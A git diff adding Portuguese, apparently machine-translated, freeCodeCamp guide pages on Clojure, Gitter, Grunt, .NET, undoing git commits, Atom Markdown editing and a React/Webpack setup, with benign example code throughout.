+O Sprint Dev é uma representação do desenvolvimento em andamento durante esse sprint, enquanto o Sprint Increment é a soma de todos os itens do backlog do produto que foram concluídos no sprint atual e em todos os sprints anteriores.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/what-is-clojure/index.md b/client/src/guide/portuguese/miscellaneous/what-is-clojure/index.md
new file mode 100644
index 0000000000..5bbe5ca268
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/what-is-clojure/index.md
@@ -0,0 +1,44 @@
+---
+title: What Is Clojure
+localeTitle: O que é Clojure
+---
+## Clojure é um dialeto de Lisp.
+
+Lisps são uma família totalmente separada de linguagens para linguagens semelhantes a C, como C #, Javascript, Python ou Ruby. Isso significa que Lisps pode parecer estranho para os programadores que estão mais familiarizados com esses idiomas. Essencialmente, ser um Lisp significa que tudo no Clojure é uma lista contendo dados (até chamadas de função!), Ele possui digitação dinâmica e você pode definir _macros_ que permitem manipular seu próprio código. Aqui está um exemplo simples de algum Clojure para você examinar:
+```
+   (defn hello-world [] (println "Hello world!")) 
+```
+
+Isso define uma função (usando a macro `defn` ) chamada `hello-world` que não recebe entrada ( `[]` ) e imprime `"Hello world!"` para o console. Podemos chamá-lo assim:
+```
+   (hello-world) 
+   ; => Hello world! 
+   ;    nil 
+```
+
+## Clojure é uma linguagem funcional.
+
+Todas as variáveis ​​no Clojure são imutáveis ​​e não podem ser alteradas usando um operador de atribuição ( `=` na maioria das linguagens semelhantes ao C) ou por uma função. Todas as funções pretendem ser _referencialmente transparentes_ , o que significa que, se você fornecer a mesma entrada, elas devem fornecer a mesma saída, não importa o quê. O exemplo do `hello-world` acima é referencialmente transparente - sempre será impresso "Hello world!" não importa o que. Algo que depende de um gerador de números aleatórios não é referencialmente transparente, porque sua saída é aleatória.
+```
+  (defn random-function [] 
+    (if (> (rand 4) 2)     ; if a random number between 0 and 2 is greater than 2... 
+      (println "foo")      ; ...print "foo". otherwise... 
+      (println "bar")))    ; ...print "bar" 
+```
+
+Apesar de não ser capaz de alterar variáveis ​​pode parecer um pesadelo, é muito mais fácil do que você pensa, especialmente se a linguagem é baseada em torno dele (como o Clojure é!), E evitar mutações desnecessárias pode tornar seu código muito menos problemático.
+
+## O Clojure é executado na Java Virtual Machine.
+
+A JVM é a máquina virtual que interpreta o bytecode Java e a utiliza para executar um programa. Isso significa que o Clojure funciona quase perfeitamente com código projetado para Java (embora pareça um pouco estranho), e também significa que ele é executado muito rapidamente em comparação com alguns outros Lisps. Embora seja um pouco mais lento que o Java, ainda é muito mais rápido que o Python, Ruby ou Javascript.
+```
+  (.indexOf [1 2 3 4] 2) ;; .indexOf is a Java method! 
+  ; => 1 
+```
+
+## O Clojure foi projetado para simultaneidade.
+
+"Concorrência" aqui significa "um programa trabalhando em vários segmentos de uma só vez", o que pode tornar seu código muito mais rápido. Também pode tornar seu código muito mais buggier; imagine se duas funções diferentes estivessem mudando e lendo do mesmo objeto de uma só vez! Seria um caos total. Felizmente, no Clojure, as variáveis ​​são imutáveis, o que significa que não há chance de esse tipo de desordem se soltar. A linguagem também possui uma variedade de recursos para facilitar o código concorrente, como o sistema de memória transacional de software, agentes e átomos.
+
+| ![:point_left:](//forum.freecodecamp.com/images/emoji/emoji_one/point_left.png?v=2 ": point_left:") Anterior | [![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":livro:") Casa ![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":livro:")](//forum.freecodecamp.com/t/clojure-resources/18422) | [Próximo ![:point_right:](//forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=2 ": point_right:")](//forum.freecodecamp.com/t/clojure-the-basics/18410) |  
+| | [Índice](//forum.freecodecamp.com/t/clojure-resources/18422) | [Noções básicas](//forum.freecodecamp.com/t/clojure-the-basics/18410) |
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/what-is-gitter/index.md b/client/src/guide/portuguese/miscellaneous/what-is-gitter/index.md
new file mode 100644
index 0000000000..646669b893
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/what-is-gitter/index.md
@@ -0,0 +1,15 @@
+---
+title: What Is Gitter
+localeTitle: O que é o Gitter
+---
+# O Gitter é um sistema de sala de bate-papo popular com projetos de código aberto.
+
+![Uma captura de tela do Gitter](//discourse-user-assets.s3.amazonaws.com/original/2X/9/901b6ff18a83b746b1b7e96cb6907440d531d977.png)
+
+[A Gitter.im](https://gitter.im) é uma startup em rápido crescimento, sediada em Londres.
+
+O Free Code Camp tem centenas de quartos Gitter. Estes são acessíveis através do site da Gitter, bem como [aplicativos de desktop e móveis](https://gitter.im/apps) .
+
+Você pode ver [todos os nossos quartos](https://github.com/FreeCodeCamp/FreeCodeCamp/wiki/Official-Free-Code-Camp-Chat-Rooms) e juntar-se aos que você gostaria.
+
+Gitter permite que você compartilhe [códigos formatados](https://github.com/FreeCodeCamp/freecodecamp/wiki/Pasting-Code-in-Gitter) com outros campistas.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/what-is-grunt/index.md b/client/src/guide/portuguese/miscellaneous/what-is-grunt/index.md
new file mode 100644
index 0000000000..16ab7c0aa7
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/what-is-grunt/index.md
@@ -0,0 +1,5 @@
+---
+title: What Is Grunt
+localeTitle: O que é grunhido
+---
+Sempre que você criar uma nova rota ou directiva, você tem que usar `control+c` em sua janela de terminal _grunhido_ para encerrar o processo grunhido e re-executar `grunt serve` para sua nova rota / directiva para ser incluído no **index.html** do seu projeto. Às vezes o _grunhido_ pode ser um pouco confuso e se recusa a correr se achar que algo está errado com o seu projeto. Obviamente você deve tentar consertar o problema, mas os erros do grunhido não são muito úteis, então não se preocupe muito - o grunhido ainda funcionará perfeitamente com o comando `grunt serve --force` .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/what-is-the-net-framework/index.md b/client/src/guide/portuguese/miscellaneous/what-is-the-net-framework/index.md
new file mode 100644
index 0000000000..29e28eed7d
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/what-is-the-net-framework/index.md
@@ -0,0 +1,15 @@
+---
+title: What Is the Net Framework
+localeTitle: O que é o Net Framework?
+---
+![Logotipo do .NET](//discourse-user-assets.s3.amazonaws.com/original/2X/7/7068b1111104197f2692a98aec00f388e09e9ab5.png)
+
+[.NET Framework](https://www.microsoft.com/net) ou simplesmente, .NET é uma estrutura multi-linguagem de tempo de execução multi-linguagem; criado e de propriedade da [Microsoft](https://www.microsoft.com) .
+
+Tem uma biblioteca de classes grande, suporta interpolabilidade de linguagem; e é executado principalmente no Windows.
+
+A Microsoft iniciou o desenvolvimento do .NET Framework no final dos anos 90 e nos anos 2000; uma versão beta foi lançada. Além do desenvolvimento da GUI do Windows e do desenvolvimento de aplicativos do Windows Phone; o .NET framework é usado no desenvolvimento web.
+
+Ele funciona perfeitamente com a plataforma de hospedagem em nuvem do [Microsoft Azure](https://azure.microsoft.com/en-us/) e com o banco de dados do [SQL Server](https://www.microsoft.com/en-us/server-cloud/products/sql-server/) . Permite programar o lado do servidor em vários idiomas diferentes; predominantemente em [c #](https://msdn.microsoft.com/en-us/library/67ef8sbd.aspx) .
+
+Com o [MSDN](https://msdn.microsoft.com/en-us/default.aspx) como uma comunidade rica em conteúdo, há muitos potenciais e benefícios no uso do .NET para desenvolvimento web.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/what-to-do-if-you-speak-a-language-not-yet-supported-by-free-code-camp/index.md b/client/src/guide/portuguese/miscellaneous/what-to-do-if-you-speak-a-language-not-yet-supported-by-free-code-camp/index.md
new file mode 100644
index 0000000000..4415232b42
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/what-to-do-if-you-speak-a-language-not-yet-supported-by-free-code-camp/index.md
@@ -0,0 +1,15 @@
+---
+title: What to Do if You Speak a Language not Yet Supported by Free Code Camp
+localeTitle: O que fazer se você falar um idioma ainda não suportado pelo Free Code Camp
+---
+Tradução é uma proposta de tudo ou nada.
+
+Não poderemos adicionar novos idiomas ao Free Code Camp até que todos os nossos  
+desafios são traduzidos para esse idioma.
+
+Além de traduzi-las inicialmente, também precisaremos manter  
+a tradução como os desafios são gradualmente atualizados (usamos o  
+sistema de emissão do github para manter registro).
+
+Se você puder nos ajudar, junte-se ao [canal do gitter](https://gitter.im/FreeCodeCamp/Translators)  
+e leia o [Guia de Tradução](http://forum.freecodecamp.com/t/guidelines-for-translating-free-code-camp-to-any-language/19111)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/what-you-will-learn-at-free-code-camp-in-order/index.md b/client/src/guide/portuguese/miscellaneous/what-you-will-learn-at-free-code-camp-in-order/index.md
new file mode 100644
index 0000000000..870b048370
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/what-you-will-learn-at-free-code-camp-in-order/index.md
@@ -0,0 +1,20 @@
+---
+title: What You Will Learn at Free Code Camp in Order
+localeTitle: O que você aprenderá no Free Code Camp in Order
+---
+*   [HTML5](https://developer.mozilla.org/en-US/docs/Web/HTML) - A estrutura das páginas da web.
+*   [CSS](https://developer.mozilla.org/en-US/docs/Web/CSS) - O estilo visual das páginas da web.
+*   [Bootstrap](http://getbootstrap.com/) - Uma ferramenta de "design responsivo" que ajuda seus sites a ficarem ótimos em tablets e telefones.
+*   [jQuery](https://jquery.com/) e [Ajax](https://developer.mozilla.org/en-US/docs/AJAX) - ferramentas fáceis para controlar o conteúdo no navegador.
+*   [JavaScript](https://developer.mozilla.org/en-US/docs/Web/JavaScript) - A única linguagem de programação usada por todos os navegadores da web.
+*   [Algoritmos](https://en.wikipedia.org/wiki/Algorithm) - Receitas passo-a-passo para fazer as coisas.
+*   [Git](https://git-scm.com/) - Um sistema de controle de versão para salvar e compartilhar seus projetos.
+*   [MongoDB](https://www.mongodb.org/) - Um banco de dados não-relacional popular.
+*   [D3.js](http://d3js.org/) - Uma biblioteca JavaScript para produzir visualizações de dados dinâmicas e interativas em navegadores da web.
+*   [Express.js](http://expressjs.com/) - Um poderoso framework de desenvolvimento web.
+*   [Node.js](https://nodejs.org/) - Uma plataforma para criar aplicativos de rede escalonáveis.
+*   [SASS](http://sass-lang.com/) - Uma linguagem de script que é interpretada em folhas de estilo em cascata (CSS).
+*   [Desenvolvimento de APIs](https://en.wikipedia.org/wiki/Application_programming_interface) - Um conjunto de rotinas, protocolos e ferramentas para criar software e aplicativos.
+*   [Ágil](https://en.wikipedia.org/wiki/Agile_software_development) - Um conjunto de princípios de desenvolvimento de software que focaliza o design e a produção de um projeto nas necessidades de seus usuários
+
+![](http://2.bp.blogspot.com/-CPfmVm56c7c/VTwEpZkHBtI/AAAAAAAAAks/0dEwiH-DjEE/s1600/curriculum-diagram-full.jpg%7Cwidth=600px)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/when-to-undoredo/index.md b/client/src/guide/portuguese/miscellaneous/when-to-undoredo/index.md
new file mode 100644
index 0000000000..c778a1fe53
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/when-to-undoredo/index.md
@@ -0,0 +1,47 @@
+---
+title: When to Undoredo
+localeTitle: Quando a Undoredo
+---
+Você normalmente deseja UNDO / REDO quando você confirma algumas mudanças no git e percebe que as mudanças precisam ser removidas / revertidas. Isso é muito comum em cenários, por exemplo, quando você faz uma alteração temporária em alguns arquivos e se esquece de revertê-los, depois passa a adicioná-los ao commit acidentalmente.
+
+## O fluxo de trabalho UNDO / REDO:
+
+Supondo que você fez algumas alterações e fez commits como:
+```
+git commit -m "Commit 1 - Some changes to the code" 
+ git commit -m "Commit 2 - Some MORE changes to the code" 
+```
+
+1.  (UNDO-ing): `git reset --soft HEAD~` o último commit `git reset --soft HEAD~`
+2.  _Faça as alterações._
+3.  Adicione seus arquivos à área de preparação `git add <filenames or paths>` ou `git add --all`
+4.  (REDO-ing): faça o commit. `git commit -c ORIG_HEAD` ou `git commit -C ORIG_HEAD`
+
+## Como é que isso funciona?
+
+Agora que você sabe o fluxo, vamos entender como isso funciona nos bastidores.
+
+1.  `Step 1` redefine o último commit, ou seja, `"Commit 2 - Some MORE..."` volta para o `"Commit 1 - Some..."` commit.
+2.  Na `Step 2` , você faz as alterações necessárias para os arquivos.
+3.  Na `Step 3` , você adiciona os arquivos alterados à área de preparação seletivamente com `git add <filenames>` ou todos os arquivos com `git add --all` .
+4.  Na etapa final, você confirma as alterações na área de preparação.
+
+Nota: você pode usar `-c` ou `-C` . O small `-c` abrirá um editor para modificar a mensagem de commit, neste caso será `Commit 2 - Some MORE...` Você pode editar a mensagem de confirmação conforme desejar.
+
+Ou, alternativamente, você pode usar as maiúsculas e minúsculas `-C` , onde o git irá pular a janela do editor e reutilizar a mensagem _LAST_ commit, que neste caso é `Commit 2 - Some MORE...`
+
+Reutilizar a mensagem de confirmação "Same" também é conhecida como refazer / reconfirmar.
+
+## Unstage antes de um commit
+
+Para desfazer uma alteração preparada antes de um commit, simplesmente execute `git reset <file>` ou `git reset` para desassociar todas as mudanças antes de um commit.
+
+Nota: Em versões mais antigas do git, os comandos eram `git reset HEAD <file>` e `git reset HEAD` respectivamente. Isso foi mudado no Git 1.8.2
+
+## Mais alguns truques:
+
+Você pode voltar qualquer número de commits usando `git reset --soft HEAD~n` onde você quer desfazer os últimos `n` commits.
+
+## Atribuição:
+
+Este artigo é baseado em uma pergunta sobre estouro de pilha [aqui](http://stackoverflow.com/questions/927358/how-do-you-undo-the-last-commit/927386#927386) e [aqui](http://stackoverflow.com/questions/348170/undo-git-add-before-commit/348234#348234) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/why-free-code-camp-left-slack/index.md b/client/src/guide/portuguese/miscellaneous/why-free-code-camp-left-slack/index.md
new file mode 100644
index 0000000000..099e1784dc
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/why-free-code-camp-left-slack/index.md
@@ -0,0 +1,13 @@
+---
+title: Why Free Code Camp Left Slack
+localeTitle: Por que o Free Code Camp deixou folga
+---
+Slack é um serviço popular de sala de bate-papo que o Free Code Camp superou
+
+![Estatísticas de uso do Free Code Camp's Slack](//discourse-user-assets.s3.amazonaws.com/original/2X/d/da98adf7a036ae5bd8410b09c64f394d014694a0.png)
+
+Por mais que tenhamos gostado de usar esse serviço, é um ajuste inadequado para grandes comunidades de código aberto. Dito isto, muitas comunidades de código aberto ainda usam o Slack, e o Slack não faz nada para desencorajar essa prática.
+
+Se você está curioso, pode ler sobre [as falsas propagandas do Slack e o desastre que isso causou em junho de 2015](http://blog.freecodecamp.com/2015/06/so-yeah-we-tried-slack-and-we-deeply-regretted-it.html) .
+
+O Free Code Camp agora usa o [Gitter](https://github.com/FreeCodeCamp/freecodecamp/wiki/Gitter) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/wiki-git-aliases/index.md b/client/src/guide/portuguese/miscellaneous/wiki-git-aliases/index.md
new file mode 100644
index 0000000000..785f61a956
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/wiki-git-aliases/index.md
@@ -0,0 +1,11 @@
+---
+title: Wiki Git Aliases
+localeTitle: Aliases do Wiki Git
+---
+Para a maioria dos desenvolvedores, muito do nosso tempo é gasto no Terminal e a maioria é gasto digitando comandos do Git. Criamos um conjunto de atalhos de teclado com aliases e funções Bash para agilizar seu fluxo de trabalho e salvar centenas de pressionamentos de teclas todos os dias.
+
+O Git permite que você defina aliases, mas eles são limitados e apenas economizam alguns toques no teclado (por exemplo, ao invés de git checkout você pode digitar git co, mas você ainda precisa digitar git). Como o Bash é o interpretador de linha de comando padrão do Terminal, você também pode definir aliases de Bash para reduzir ainda mais as teclas digitadas.
+
+Aqui está uma lista de aliases e funções do Git Bash. Para usá-los como seus, basta adicioná-los ao arquivo em que você armazena seus aliases / funções. (Ou seja, `~/.bash_profile` ou `~/.bashrc` )
+
+Quando copiar e colar, é importante manter o espaçamento. (isto é, para aliases, não deve haver espaços antes e depois dos sinais de igual, e para funções, deve haver um espaço após a chave de abertura da declaração e um ponto e vírgula após o comando. Não se esqueça de recarregar o arquivo ( source `~/.bash_profile` ) ou reinicie o Terminal depois de fazer alterações.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/wiki-git-resources/index.md b/client/src/guide/portuguese/miscellaneous/wiki-git-resources/index.md
new file mode 100644
index 0000000000..e377245fe4
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/wiki-git-resources/index.md
@@ -0,0 +1,48 @@
+---
+title: Wiki Git Resources
+localeTitle: Recursos do Wiki Git
+---
+# Recursos do Git
+
+Uma coleção de recursos no [Git VCS](https://git-scm.com) .
+
+O Git é um sistema de controle de versão distribuído gratuito e de código aberto projetado para lidar com tudo, de projetos pequenos a muito grandes, com velocidade e eficiência.
+
+## Artigos
+
+*   [Aliases](http://forum.freecodecamp.com/t/wiki-git-aliases/13155)
+*   [Alterar em último](http://forum.freecodecamp.com/t/amending-the-most-recent-commit-message/13186)
+*   [Git atrás de um proxy](http://forum.freecodecamp.com/t/git-behind-a-proxy-server/13187)
+*   [Culpa](http://forum.freecodecamp.com/t/find-the-culprit-with-git-blame/13194)
+*   [Alterar o URL de um repositório remoto](http://forum.freecodecamp.com/t/change-the-url-of-a-remote-repository/13196)
+*   [Check-out de um ramo remoto](http://forum.freecodecamp.com/t/checkout-a-remote-branch-in-git/13198)
+*   [Clone todos os ramos remotos](http://forum.freecodecamp.com/t/cloning-all-remote-branches-in-git/13202)
+*   [Clonar um ramo específico](http://forum.freecodecamp.com/t/cloning-a-specific-branch-in-git/13199)
+*   [Escrevendo boas mensagens de commit do Git](http://forum.freecodecamp.com/t/writing-good-git-commit-messages/13210)
+*   [Excluir uma ramificação local e remotamente](http://forum.freecodecamp.com/t/delete-a-git-branch-both-locally-and-remotely/13211)
+*   [Descartar alterações não sincronizadas](http://forum.freecodecamp.com/t/discard-unstaged-changes-in-git/13214)
+*   [Mesclar](http://forum.freecodecamp.com/t/understand-how-to-use-git-merge/13215)
+*   [Sobrescrever arquivos locais no pull](http://forum.freecodecamp.com/t/override-local-files-with-git-pull/13216)
+*   [Puxar vs buscar](http://forum.freecodecamp.com/t/git-pull-vs-git-fetch/13219)
+*   [Empurrar local para o repositório remoto](http://forum.freecodecamp.com/t/push-a-new-local-branch-to-a-remote-git-repository-and-track-it-too/13222)
+*   [Rebase](http://forum.freecodecamp.com/t/how-to-use-git-rebase/13226)
+*   [Remova os submódulos](http://forum.freecodecamp.com/t/how-to-remove-a-submodule-in-git/13228)
+*   [Renomear filial local](http://forum.freecodecamp.com/t/rename-local-branches-in-git/13230)
+*   [Squash commits](http://forum.freecodecamp.com/t/how-to-squash-multiple-commits-into-one-with-git/13231)
+*   [Desfazer Git Adicionar](http://forum.freecodecamp.com/t/how-to-undo-a-git-add/13237)
+*   [Desfazer e refazer um commit](http://forum.freecodecamp.com/t/when-to-undo-redo/13233)
+*   [Untrack Files](http://forum.freecodecamp.com/t/untrack-files-previously-committed-from-new-gitignore/13239)
+
+## Livros e Tutoriais
+
+*   [Pro Git](https://git-scm.com/book) - Todo o livro Pro Git, escrito por Scott Chacon e Ben Straub e publicado pela Apress, está disponível aqui. Faça o download deste livro em formato PDF, mobi ou ePub gratuitamente.
+*   [Torne-se um guru git - Atlassian](https://www.atlassian.com/git/tutorials/) - Site responsivo com tutoriais, treinamento e artigos do Git.
+*   [Git nas trincheiras](http://cbx33.github.io/gitt/) - Git In The Trenches, ou GITT é projetado para ser um livro que se concentra em ensinar as pessoas a usar o Git associando-se a cenários que são vivenciados por uma empresa fictícia chamada Tamagoyaki Inc. Faça o download deste livro em PDF, mobi ou Formulário ePub gratuitamente.
+*   [Tutorial Oficial do Git](https://git-scm.com/docs/gittutorial) - Este tutorial explica como importar um novo projeto para o Git, fazer alterações nele e compartilhar mudanças com outros desenvolvedores.
+*   [Official Git User Manual](https://git-scm.com/docs/user-manual.html) - Este manual foi projetado para ser lido por alguém com habilidades básicas de linha de comando do UNIX, mas sem conhecimento prévio do Git.
+*   [Experimente o Git Tutorial by Github e CodeSchool](https://try.github.io) - Este tutorial é uma rápida sprint de 15 minutos para começar a usar o Git no navegador.
+
+## Outros recursos
+
+*   [Git Ready](http://gitready.com) - 'Aprenda um commit de cada vez' por Nick Quaranto
+*   [Hub](https://hub.github.com/) - Hub é um wrapper de linha de comando para o git que o torna melhor no GitHub.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/write-and-run-es6-code-in-the-browser/index.md b/client/src/guide/portuguese/miscellaneous/write-and-run-es6-code-in-the-browser/index.md
new file mode 100644
index 0000000000..a9391799ee
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/write-and-run-es6-code-in-the-browser/index.md
@@ -0,0 +1,22 @@
+---
+title: Write and Run Es6 Code in the Browser
+localeTitle: Escreva e execute o código Es6 no navegador
+---
+> Inclua o seguinte código na página.
+```
+<!-- Write these first. Here `bootstrap.js` doesn't mean Twitter Bootstrap. --> 
+ <script src="https://google.github.io/traceur-compiler/bin/traceur.js"></script> 
+ <script src="https://google.github.io/traceur-compiler/src/bootstrap.js"></script> 
+ 
+ <!-- Edit the src. Write `type="module"` (important) for linked script --> 
+ <script src="app.js" type="module"></script> 
+ 
+ <!-- Remember to write `type="module"` for embedded script --> 
+ <script type="module"> 
+    //→ write your script here 
+ </script> 
+```
+
+**Veja:** [Traceur Compiler Primeiros passos](https://github.com/google/traceur-compiler/wiki/Getting-Started)
+
+**Demonstração:** [ES6 Demo Repo Source](https://github.com/abhisekp/JS-Weird-Parts/tree/109ab3b0c94d1fbf9bbc402dd36e9bca60d5b456)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/writing-a-markdown-file-for-github-using-atom/index.md b/client/src/guide/portuguese/miscellaneous/writing-a-markdown-file-for-github-using-atom/index.md
new file mode 100644
index 0000000000..90b72c8982
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/writing-a-markdown-file-for-github-using-atom/index.md
@@ -0,0 +1,64 @@
+---
+title: Writing a Markdown File for Github Using Atom
+localeTitle: Escrevendo um arquivo Markdown para o Github usando o Atom
+---
+O Markdown é uma maneira de estilizar o texto na Web, e os usuários do GitHub usam o markdown para fornecer documentação para seus repositórios.
+
+Dos [guias do GitHub](https://guides.github.com/features/mastering-markdown/) :
+
+> Você controla a exibição do documento; formatar palavras em negrito ou itálico, adicionar imagens e criar listas são apenas algumas das coisas que podemos fazer com o Markdown. Principalmente, o Markdown é apenas um texto normal com alguns caracteres não alfabéticos, como # ou \*.
+> 
+> Você pode usar o Markdown na maioria dos lugares ao redor do GitHub:
+> 
+> *   Essência
+> *   Comentários em problemas e solicitações de solicitação
+> *   Arquivos com a extensão .md ou .markdown
+> 
+> Os arquivos Markdown têm a extensão `.md` e você verá que um vasto número de repositórios do GitHub possui arquivos `README.md` .
+
+Um ótimo exemplo é que, se você quiser escrever um arquivo Wiki para esse repositório, ele precisará ser um arquivo `.md` . O que você está lendo agora é um arquivo de `writing-a-markdown-file-using-atom.md` chamado `writing-a-markdown-file-using-atom.md` .
+
+Os arquivos de marcação são fáceis de escrever e você pode encontrar uma lista de dicas sobre descontos [aqui](https://github.com/adam-p/markdown-here/wiki/Markdown-Cheatsheet) .
+
+## Criando um arquivo leia-me no GitHub
+
+Você pode compor um arquivo README.md no próprio GitHub:
+
+![captura de tela 2016-02-29 às 18 07 19](//discourse-user-assets.s3.amazonaws.com/original/2X/9/9a1d7f226df87df437f616fcaf5b7adcf02c8e87.png)
+
+Isso permite que você alterne entre as visualizações "Editar novo arquivo" e "Visualizar":
+
+![captura de tela 2016-02-29 às 18 06 24](//discourse-user-assets.s3.amazonaws.com/original/2X/e/e0b3ddb69c3f2c32c0c7e73f1b1d196a54f03c21.png)
+
+Isso é ideal se o arquivo readme for pequeno e você não se importar em alternar entre as duas visualizações.
+
+Mas e se o seu arquivo `.md` não for um leia-me e você quiser o luxo de trabalhar em um editor de texto e uma visualização ao vivo de como seu texto se parece ao mesmo tempo em que você o edita?
+
+## Escrevendo arquivos Markdown com o Atom
+
+Se você estiver escrevendo um arquivo de marcação longo ou detalhado, será útil obter uma visualização ao vivo de como é exatamente o markdown, da mesma forma que você pode usar os recursos de atualização ao vivo para atualizar seu navegador se estiver trabalhando em um projeto que usa HTML e CSS, por exemplo.
+
+Uma boa maneira de criar um arquivo de marcação usa o [editor de texto Atom](https://atom.io/) . Você pode instalar e usar o Atom gratuitamente.
+
+Atom, como outros editores de texto, faz uso de pacotes, que são pedaços de código que permitem personalizar seu fluxo de trabalho.  
+1\. Primeiramente, você desejará instalar o editor de texto Atom [aqui](https://atom.io/) .  
+2\. Quando o Atom estiver instalado, abra-o e abra um novo arquivo com uma extensão `.md` .  
+3\. Para ver sua visualização ao vivo, clique com o botão direito do mouse no arquivo `.md` no explorador à esquerda e, em seguida, selecione a opção superior, 'Visualização de Markdown':
+
+![captura de tela 2016-02-29 às 18 17 30](//discourse-user-assets.s3.amazonaws.com/original/2X/e/ea3746446180c0e0ad2bb61f30a6c3ad8bc25c57.png)
+
+Legal! Agora você deve ver dois painéis no Atom. À esquerda está o seu texto, e à direita está a sua marcação "compilada", ou seja, o que pode parecer no GitHub:
+
+![captura de tela 2016-02-29 em 18 21 38](//discourse-user-assets.s3.amazonaws.com/original/2X/a/a1f27aa8afe060e252f245ced3456f196c85ef1b.png)
+
+Observe que o Atom também reconhece o que você está trabalhando para ter um formato específico, ou seja, 'GitHub Markdown':
+
+![captura de tela 2016-02-29 às 19 15 43](//discourse-user-assets.s3.amazonaws.com/original/2X/c/cf5b2fc473c32a14a2de302fd88e4c2edde02453.png)
+
+1.  Quando o seu arquivo de remarcação está pronto para se comprometer com o seu repositório GitHub, você pode ir em frente e comprometê-lo!
+
+Para contribuir com o wiki FreeCodeCamp, acesse [esta página](https://github.com/FreeCodeCamp/freecodecamp/wiki) e confira a seção 'Guias sobre como contribuir'.
+
+Para adicionar um projeto ou arquivos ao GitHub, acesse [esta página](https://help.github.com/articles/adding-an-existing-project-to-github-using-the-command-line/) .
+
+**Etapa de bônus: o** Atom tem um pacote chamado [Markdown Preview Plus](https://atom.io/packages/markdown-preview-plus) . Ele faz o mesmo que o pré-visualizador de marcação normal, mas o arquivo de visualização é estilizado com mais precisão para o estilo do GitHub. Vá em frente e instale este pacote e veja o que você recebe.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/writing-code-for-your-es6-react-with-webpack-project/index.md b/client/src/guide/portuguese/miscellaneous/writing-code-for-your-es6-react-with-webpack-project/index.md
new file mode 100644
index 0000000000..fb375ff14b
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/writing-code-for-your-es6-react-with-webpack-project/index.md
@@ -0,0 +1,125 @@
+---
+title: Writing Code for Your Es6 React with Webpack Project
+localeTitle: Escrevendo código para o seu Es6 React com Webpack Project
+---
+## dist / index.html
+
+Nós podemos ir agora abrir nosso `dist/index.html` . Esta será a única página HTML que carrega todo o nosso aplicativo. Nós não precisamos de muito código para este arquivo, apenas o suficiente para:
+
+*   Defina um elemento para o React DOM no `src/js/client.js` .
+*   Link para o nosso arquivo JavaScript incluído (que ainda não existe).
+
+Portanto, é assim que nosso arquivo `dist/index.html` será:
+```
+<!DOCTYPE html> 
+ <html lang="en"> 
+ <head> 
+  <meta charset="UTF-8"> 
+  <title>React Webpack Example</title> 
+ </head> 
+ <body> 
+  <!-- React app will be injected into the following `div` element: --> 
+  <div id="app"></div> 
+  <!-- Include bundled JavaScript: --> 
+  <script src="bundle.js"></script> 
+ </body> 
+ </html> 
+```
+
+Você pode estar se perguntando por que esta página está vinculada a um `bundle.js` quando tudo o que temos até agora é um `src/js/client.js` . Isso será revelado mais tarde quando escrevermos nosso arquivo de configuração do Webpack.
+
+## src / js / client.js
+
+Agora é hora de escrever algum código React. Assim como no arquivo `dist/index.html` , por enquanto vamos escrever apenas código suficiente para o aplicativo funcionar, então não haverá muito código requerido:
+```
+import React from 'react'; 
+ import ReactDOM from 'react-dom'; 
+ 
+ class Main extends React.Component { 
+  render() { 
+    return ( 
+      <div> 
+        <h1>This is one cool app!</h1> 
+      </div> 
+    ); 
+  } 
+ } 
+ 
+ const app = document.getElementById('app'); 
+ ReactDOM.render(<Main />, app); 
+```
+
+O código que se parece com elementos HTML é, na verdade, JSX, que faz parte do React.
+
+*   [Ajuda: Mais sobre JSX](http://buildwithreact.com/tutorial/jsx)
+
+Para explicar o que está acontecendo nesse arquivo, vamos dividi-lo:
+
+*   Primeiro, estamos importando `React` e `ReactDOM` . Estes são necessários para qualquer arquivo React usado para injetar código no DOM. O `ReactDOM` é um DOM virtual e não é a mesma coisa que o modelo de objeto de documento padrão.
+    
+*   [Ajuda: Mais sobre o React DOM](https://facebook.github.io/react/docs/glossary.html)
+    
+    *   Em seguida, estamos criando uma classe React. As classes foram adicionadas ao JavaScript no ES6. Portanto, este é o método ES6 de escrever uma classe React, mas é claro [que podemos escrever uma em ES5 também](https://toddmotto.com/react-create-class-versus-component/) .
+*   [Ajuda: Mais sobre as classes do ES6](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes)
+    
+
+Toda classe React possui um método de `render` . Nesse caso, o método `render` `return` um elemento `div` JSX. Isso é o que veremos em todo o arquivo React. A classe pode conter outros métodos que devem aparecer antes do método de `render` , que sempre fica na parte inferior de uma classe.
+
+*   Por fim, estamos vinculando o React ao nosso `index.html` . Nós definimos o `app` para ser o local onde queremos que nosso código React seja injetado. E, finalmente, usando o ReactDOM, injetamos o componente que escrevemos, `<Main />` , no aplicativo, que nesse caso é o `div` com o `id` do `app` .
+
+## webpack.config.js
+
